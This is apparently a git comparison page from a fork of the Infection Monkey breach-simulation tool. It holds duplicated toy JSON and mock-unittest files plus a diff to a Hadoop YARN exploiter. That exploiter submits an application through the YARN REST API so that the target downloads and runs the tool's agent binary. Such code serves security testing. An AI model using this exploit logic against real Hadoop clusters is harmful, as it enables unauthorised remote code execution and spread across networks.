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develop
Author | SHA1 | Date |
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p34709852 | 994f7de8e3 | |
wutao | dedde27c8c | |
wutao | 1d0f3c8e50 | |
wutao | 25054d8479 | |
wutao | 5273769ca7 | |
p15670423 | c4b2f4d171 | |
p15670423 | bfe3e6da58 | |
p15670423 | dbab067af5 | |
p15670423 | 453dd67e03 | |
p15670423 | 386bbf84b2 | |
p15670423 | 4cd9fd289e | |
p15670423 | ffdf699f32 | |
p15670423 | 036742925c | |
p15670423 | 017d109a77 | |
p15670423 | 14ea13c6ee | |
p15670423 | 00034313b1 | |
p34709852 | bef6e2c37f | |
p34709852 | f10c9f7e29 | |
p34709852 | b0d3201186 | |
p15670423 | 73cc1994d9 | |
p15670423 | 9208f6691d | |
p15670423 | 73a326a3e3 | |
p15670423 | 4188bb507c | |
p34709852 | 7985a6b07f | |
p34709852 | c8859701c8 | |
p34709852 | 880a2d68e8 | |
p34709852 | a47ca4dac8 | |
p15670423 | f803f88afc | |
p34709852 | 09b3b42dc5 | |
p31829507 | de18b55417 | |
p31829507 | 9071fc90aa | |
wutao | 4505399049 | |
wutao | f5bfdc430c | |
wutao | 0382831701 | |
Mike Salvatore | 04fec93c39 | |
Ilija Lazoroski | 7a664218bd | |
Mike Salvatore | 66f5d7a86a | |
Ilija Lazoroski | 25073be9f3 | |
Ilija Lazoroski | c02d43556a | |
Ilija Lazoroski | 8bdb30dcfb | |
Ilija Lazoroski | 8f6df12d9c | |
Kekoa Kaaikala | 76a3cb0ba0 | |
Kekoa Kaaikala | de5d365bb0 | |
Kekoa Kaaikala | 3e592cfa69 | |
Kekoa Kaaikala | 4a0a24dde2 | |
Kekoa Kaaikala | 76ae57281d | |
Kekoa Kaaikala | 54b551b728 | |
Kekoa Kaaikala | c31aed94ea | |
Kekoa Kaaikala | bee1047024 | |
Kekoa Kaaikala | 57af640317 | |
Ilija Lazoroski | 9c185a3a78 | |
Ilija Lazoroski | fe864792f3 |
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@ -29,7 +29,7 @@ Monkey on our [website](https://www.akamai.com/infectionmonkey).
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For more information, or to apply, see the official job post:
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- [Israel](https://akamaicareers.inflightcloud.com/jobdetails/aka_ext/028224?section=aka_ext&job=028224)
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test1111
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## Screenshots
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@ -0,0 +1,13 @@
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import json
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data = {
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'name' : 'myname',
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'age' : 100,
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}
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# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了.
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# dumps 将python对象字典转换为json字符串
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json_str = json.dumps(data, separators=(',', ':'))
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print(type(json_str), json_str)
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# loads 将json字符串转化为python对象字典
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pyton_obj = json.loads(json_str)
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print(type(pyton_obj), pyton_obj)
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@ -5,13 +5,20 @@
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"""
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import json
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import logging
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import posixpath
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import random
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import string
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from time import time
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import requests
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from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
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from common.tags import (
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T1105_ATTACK_TECHNIQUE_TAG,
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T1203_ATTACK_TECHNIQUE_TAG,
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T1210_ATTACK_TECHNIQUE_TAG,
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)
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from infection_monkey.exploit.tools.helpers import get_agent_dst_path
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from infection_monkey.exploit.tools.http_tools import HTTPTools
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from infection_monkey.exploit.web_rce import WebRCE
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@ -23,6 +30,10 @@ from infection_monkey.model import (
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)
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from infection_monkey.utils.commands import build_monkey_commandline
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logger = logging.getLogger(__name__)
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HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
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class HadoopExploiter(WebRCE):
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_EXPLOITED_SERVICE = "Hadoop"
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@ -32,39 +43,43 @@ class HadoopExploiter(WebRCE):
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# Random string's length that's used for creating unique app name
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RAN_STR_LEN = 6
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_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
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_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
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def __init__(self):
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super(HadoopExploiter, self).__init__()
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def _exploit_host(self):
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# Try to get exploitable url
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urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
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self.add_vulnerable_urls(urls, True)
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if not self.vulnerable_urls:
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# Try to get potential urls
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potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
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if not potential_urls:
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self.exploit_result.error_message = (
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f"No potential exploitable urls has been found for {self.host}"
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)
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return self.exploit_result
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try:
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monkey_path_on_victim = get_agent_dst_path(self.host)
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except KeyError:
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return self.exploit_result
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monkey_path_on_victim = get_agent_dst_path(self.host)
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http_path, http_thread = HTTPTools.create_locked_transfer(
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self.host, str(monkey_path_on_victim), self.agent_binary_repository
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)
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command = self._build_command(monkey_path_on_victim, http_path)
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try:
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command = self._build_command(monkey_path_on_victim, http_path)
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if self.exploit(self.vulnerable_urls[0], command):
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self.add_executed_cmd(command)
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self.exploit_result.exploitation_success = True
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self.exploit_result.propagation_success = True
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for url in potential_urls:
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if self.exploit(url, command):
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self.add_executed_cmd(command)
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self.exploit_result.exploitation_success = True
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self.exploit_result.propagation_success = True
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break
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finally:
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http_thread.join(self.DOWNLOAD_TIMEOUT)
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http_thread.stop()
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return self.exploit_result
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def exploit(self, url, command):
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def exploit(self, url: str, command: str):
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if self._is_interrupted():
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self._set_interrupted()
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return False
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@ -73,8 +88,8 @@ class HadoopExploiter(WebRCE):
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resp = requests.post(
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posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
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)
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resp = json.loads(resp.content)
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app_id = resp["application-id"]
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resp_dict = json.loads(resp.content)
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app_id = resp_dict["application-id"]
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# Create a random name for our application in YARN
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# random.SystemRandom can block indefinitely in Linux
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@ -87,10 +102,16 @@ class HadoopExploiter(WebRCE):
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self._set_interrupted()
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return False
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timestamp = time()
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resp = requests.post(
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posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
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)
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return resp.status_code == 202
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success = resp.status_code == 202
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message = "" if success else f"Failed to exploit via {url}"
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self._publish_exploitation_event(timestamp, success, error_message=message)
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self._publish_propagation_event(timestamp, success, error_message=message)
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return success
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def check_if_exploitable(self, url):
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try:
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@ -0,0 +1,13 @@
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import json
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data = {
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'name' : 'myname',
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'age' : 100,
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}
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# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了.
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# dumps 将python对象字典转换为json字符串
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json_str = json.dumps(data, separators=(',', ':'))
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print(type(json_str), json_str)
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# loads 将json字符串转化为python对象字典
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pyton_obj = json.loads(json_str)
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print(type(pyton_obj), pyton_obj)
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@ -0,0 +1,13 @@
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import json
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data = {
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'name' : 'myname',
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'age' : 100,
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}
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# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了.
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# dumps 将python对象字典转换为json字符串
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json_str = json.dumps(data, separators=(',', ':'))
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print(type(json_str), json_str)
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# loads 将json字符串转化为python对象字典
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pyton_obj = json.loads(json_str)
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print(type(pyton_obj), pyton_obj)
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@ -0,0 +1,21 @@
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import unittest
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from mock import Mock
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def VerifyPhone():
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'''
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校验用户手机号
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'''
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pass
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class TestVerifyPhone(unittest.TestCase):
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def test_verify_phone(self):
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data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
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VerifyPhone = Mock(return_value=data)
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self.assertEqual("success", VerifyPhone()["msg"]["result"])
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print('测试用例')
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if __name__ == '__main__':
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unittest.main(verbosity=2)
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@ -0,0 +1,21 @@
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import unittest
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from mock import Mock
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def VerifyPhone():
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'''
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校验用户手机号
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'''
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pass
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class TestVerifyPhone(unittest.TestCase):
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def test_verify_phone(self):
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data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
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VerifyPhone = Mock(return_value=data)
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self.assertEqual("success", VerifyPhone()["msg"]["result"])
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print('测试用例')
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if __name__ == '__main__':
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unittest.main(verbosity=2)
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@ -0,0 +1,21 @@
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import unittest
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from mock import Mock
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def VerifyPhone():
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'''
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校验用户手机号
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'''
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pass
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class TestVerifyPhone(unittest.TestCase):
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def test_verify_phone(self):
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data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
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VerifyPhone = Mock(return_value=data)
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self.assertEqual("success", VerifyPhone()["msg"]["result"])
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print('测试用例')
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if __name__ == '__main__':
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unittest.main(verbosity=2)
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